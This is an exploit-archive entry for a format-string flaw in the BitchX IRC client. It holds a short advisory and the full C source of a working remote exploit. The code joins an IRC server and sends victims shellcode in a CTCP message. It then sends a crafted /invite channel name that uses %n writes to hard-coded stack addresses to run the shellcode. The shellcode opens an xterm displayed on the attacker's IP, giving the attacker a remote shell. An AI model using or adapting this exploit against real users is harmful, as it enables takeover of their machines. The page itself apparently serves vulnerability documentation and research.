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Suggest Exploit
vendor:
BitchX IRC client
by:
RaiSe
7.5
CVSS
HIGH
Denial of Service, Remote Code Execution
119
CWE
Product Name: BitchX IRC client
Affected Version From: Version 75
Affected Version To: Version 1.0c16
Patch Exists: NO
Related CWE: Unknown
CPE: a:bitchx:bitchx:75
Metasploit:
Other Scripts:
Platforms Tested: redhat 6.0 (2.2.16), redhat 7.0 (2.2.16), debian 2.2 (2.2.16)
Unknown

BitchX IRC client Denial of Service and Remote Code Execution

BitchX IRC clients, versions 75 up to and including 1.0c16, are vulnerable to a Denial of Service and possible remote execution of code. By /invite-ing someone to a channel name containing formatting characters (%s, %n, etc) an IRC user can cause the targetted user's BitchX client to seg-fault. This is caused by the fact that bitchx passes the channel name from the invite into the logging function as its format string [which is used directly in a vsprintf], rather than as an argument to the format. This also affects the KILL command.

Mitigation:

Upgrade to a version of BitchX that is not affected by this vulnerability
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/1436/info

BitchX IRC clients, versions 75 up to and including 1.0c16, are vulnerable to a Denial of Service and possible remote execution of code. By /invite-ing someone to a channel name containing formatting characters (%s, %n, etc) an IRC user can cause the targetted user's BitchX client to seg-fault. This is caused by the fact that bitchx passes the channel name from the invite into the logging function as its format string [which is used directly in a vsprintf], rather than as an argument to the format. This also affects the KILL command. 

/*
 *  BitchX Xploit by RaiSe
 *  Tested with version 1.0c16(+) in:        redhat 6.0 (2.2.16)
 *                                           redhat 7.0 (2.2.16)
 *                                           debian 2.2 (2.2.16)
 *
 *  NetSearch Ezine Staff
 *  http://www.netsearch-ezine.com
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT 6667

int soc_local,snick;
struct sockaddr_in addr_local;
struct hostent *server;
char buf[1024], cmd[512], formatbuf[1024], ip[64], *p;

int irc(char *n,char *s,char *sc);
int format(int v);

static char shellcode[256] =    // by RaiSe
"\xeb\x5b\x5e\x31\xc0\xb0\x02\x31\xdb\xcd\x80\x39\xc3\x75\x47\x31"
"\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b\x31\xc9\xb1\x09"
"\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88\x34\x32\x31\xd2"
"\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d\x7e\x19\x89\x7e"
"\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e\x36\x8d\x56\x46"
"\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xa0\xff"
"\xff\xff/usr/X11R6/bin/xterm8-ut8-display8";

char nops4[] = "\x90\x90\x90\x90";


// main()
int main(int argc, char *argv[])
{

        if (argc!=5)
        {       
                printf("\nBitchX Xploit by RaiSe\n");
                printf("http://www.netsearch-ezine.com\n");
                printf("\nuse: %s nick irc-server my-ip dist\n",argv[0]);
                printf("\ndist = 1 --> redhat 6.0\n"
                                "dist = 2 --> redhat 7.0\n"
                                "dist = 3 --> debian 2.2\n\n");
                exit(0);
        }

        sprintf(ip,"%s:0K",argv[3]);
        strcat(shellcode,ip);

        printf("\nBitchX Xploit by RaiSe\n");
        printf("http://www.netsearch-ezine.com\n");
        puts("\ndoing it..");

        snick=strlen(argv[1]);
        format(atoi(argv[4]));
        irc (argv[1],argv[2],formatbuf);
        printf("finished\n\n");

        return(0);

} // end main()

// irc()
int irc(char *n,char *s,char *sc)
{

        if ((server = gethostbyname(s)) == 0) 
        {
                printf("error al resolver el host\n");
                exit(0);
        }

        if ((soc_local=socket(AF_INET,SOCK_STREAM,0)) == -1)
        {
                printf("error al crear el socket\n");
                exit(0);
        }

        bzero((char *) &addr_local, sizeof(addr_local));

        addr_local.sin_family = AF_INET;
        addr_local.sin_port = htons(PORT);
        memcpy(&addr_local.sin_addr, server->h_addr, server->h_length);

        if ((connect(soc_local,(struct sockaddr *) &addr_local,sizeof(addr_local)))
                        == -1)
        {
                printf("error al conectar con el servidor\n");
                exit(0);
        }

        p=buf;

        // user
        sprintf(cmd,"user k k k k\n");
        write(soc_local,cmd,strlen(cmd));

        // nick
        sprintf(cmd,"nick rxkfe\n");
        write(soc_local,cmd,strlen(cmd));

        // pong
        while(1)
        {
                read(soc_local,p,1);
                if ((*p=='\n') && (strstr(buf,"PING :")))
                {
                        p = (strstr(buf,"PING :")) + strlen("PING :");
                        sprintf(cmd,"PONG %s",p);
                        write(soc_local,cmd,strlen(cmd));
                        break;
                }
                if (*p=='\n')
                        p=buf;
                p++;
        } 

        // ctcp
        sprintf(cmd,"privmsg %s :\x01%s%s%s%s%s%s\x01\n"
                        ,n,nops4,nops4,nops4,nops4,nops4,shellcode);

        write(soc_local,cmd,strlen(cmd));

        sleep(2);

        // invite
        sprintf(cmd,"invite %s #%s\n",n,sc);
        write(soc_local,cmd,strlen(cmd));

        sleep(2);
        return(0);

} // end irc()

// format()
int format(int v)
{

        if ((v!=1) && (v!=2) && (v!=3))
        {
                printf("\ndist = 1 --> redhat 6.0\n"
                       "dist = 2 --> redhat 7.0\n"
                       "dist = 3 --> debian 2.2\n\n");
                printf("exiting..\n\n");
                exit(0);
        }


if (v==1)
{
int n, nr, a1, nx, nn = 0x150;
char dire[4][8] = { "\x60","\x61","\x62","\x63" };
int a2 = 0x1b5 - 0xdb;
int a3 = 0xff - 0xb5;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];

switch(snick)
{
case 1:
        sprintf(nops,"\x90%s",nops4);
        nx = 126;
        nr = 0x6;
        break;
case 2:
        sprintf(nops,"%s",nops4);
        nx = 126;
        nr = 0x5;
        break;
case 3:
        sprintf(nops,"\x90\x90\x90");
        nx = 126;
        nr = 0x4;
        break;
case 4:
        sprintf(nops,"\x90\x90");
        nx = 126;
        nr = 0x3;
        break;
case 5:
        sprintf(nops,"\x90");
        nx = 126;
        nr = 0x2;
        break;
case 6:
        sprintf(nops,"%s",nops4);
        nx = 129;
        nr = 0x5;
        nn = 0x158;
        break;
case 7:
        sprintf(nops,"\x90\x90\x90");
        nx = 129;
        nr = 0x4;
        nn = 0x158;
        break;
case 8:
        sprintf(nops,"\x90\x90");
        nx = 129;
        nr = 0x3;
        nn = 0x158;
        break;
case 9:
        sprintf(nops,"\x90");
        nx = 129;
        nr = 0x2;
        nn = 0x158;
}

a1 = 0x10db - nn - 0x10 - 0xc - nr;

  for (n = 0; n < nx ; n += 3)
    strcpy(&xx[n], "%8x");

  sprintf(formatbuf,
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%s\xea\xff\xbf"
         "%s"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         ,nops,dire[0],nops4,dire[1],nops4,dire[2],
         nops4,dire[3],xx,a1,a2,a3,a4);
}

if (v==2)
{
int n, nr, a1, nx, nn = 0x138;
char dire[4][8] = { "\xbc","\xbd","\xbe","\xbf" };
int a2 = 0x1b2 - 0xc1;
int a3 = 0xff - 0xb2;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];

switch(snick)
{
case 1:
        sprintf(nops,"\x90%s",nops4);
        nx = 117;
        nr = 0x6;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 2:
        sprintf(nops,"%s",nops4);
        nx = 117;
        nr = 0x5;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 3:
        sprintf(nops,"\x90\x90\x90");
        nx = 117;
        nr = 0x4;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 4:
        sprintf(nops,"\x90\x90");
        nx = 117;
        nr = 0x3;
        strcpy(dire[0],"\xbc");
        strcpy(dire[1],"\xbd");
        strcpy(dire[2],"\xbe");
        strcpy(dire[3],"\xbf");
        break;
case 5:
        sprintf(nops,"\x90");
        nx = 117;
        nr = 0x2;
        break;
case 6:
        sprintf(nops,"%s",nops4);
        nx = 120;
        nr = 0x5;
        nn = 0x140;
        break;
case 7:
        sprintf(nops,"\x90\x90\x90");
        nx = 120;
        nr = 0x4;
        nn = 0x140;
        break;
case 8:
        sprintf(nops,"\x90\x90");
        nx = 120;
        nr = 0x3;
        nn = 0x140;
        break;
case 9:
        sprintf(nops,"\x90");
        nx = 120;
        nr = 0x2;
        nn = 0x140;
}

a1 = 0x10c1 - nn - 0x10 - 0xc - nr;

  for (n = 0; n < nx ; n += 3)
    strcpy(&xx[n], "%8x");

  sprintf(formatbuf,
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%s\xe7\xff\xbf"
         "%s"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         ,nops,dire[0],nops4,dire[1],nops4,dire[2],
         nops4,dire[3],xx,a1,a2,a3,a4);
}

if (v==3)
{
int n, nr, a1, nx, nn = 0x180;
char dire[4][8] = { "\x80","\x81","\x82","\x83" };
int a2 = 0x1b3 - 0xa4;
int a3 = 0xff - 0xb3;
int a4 = 0x1bf - 0xff;
char xx[1024], nops[256];

switch(snick)
{
case 1:
        sprintf(nops,"\x90%s",nops4);
        nx = 144;
        nr = 0x6;
        break;
case 2:
        sprintf(nops,"%s",nops4);
        nx = 144;
        nr = 0x5;
        break;
case 3:
        sprintf(nops,"\x90\x90\x90");
        nx = 144;
        nr = 0x4;
        break;
case 4:
        sprintf(nops,"\x90\x90");
        nx = 144;
        nr = 0x3;
        break;
case 5:
        sprintf(nops,"\x90");
        nx = 144;
        nr = 0x2;
        break;
case 6:
        sprintf(nops,"%s",nops4);
        nx = 147;
        nr = 0x5;
        nn = 0x188;
        break;
case 7:
        sprintf(nops,"\x90\x90\x90");
        nx = 147;
        nr = 0x4;
        nn = 0x188;
        break;
case 8:
        sprintf(nops,"\x90\x90");
        nx = 147;
        nr = 0x3;
        nn = 0x188;
        break;
case 9:
        sprintf(nops,"\x90");
        nx = 147;
        nr = 0x2;
        nn = 0x188;
        strcpy(dire[0],"\x70");
        strcpy(dire[1],"\x71");
        strcpy(dire[2],"\x72");
        strcpy(dire[3],"\x73");
}

a1 = 0x10a4 - nn - 0x10 - 0xc - nr;

  for (n = 0; n < nx ; n += 3)
    strcpy(&xx[n], "%8x");

  sprintf(formatbuf,
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%s\xe8\xff\xbf"
         "%s"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         "%%%dx%%n"
         ,nops,dire[0],nops4,dire[1],nops4,dire[2],
         nops4,dire[3],xx,a1,a2,a3,a4);
}

return(0);

} // end format()

// 0x00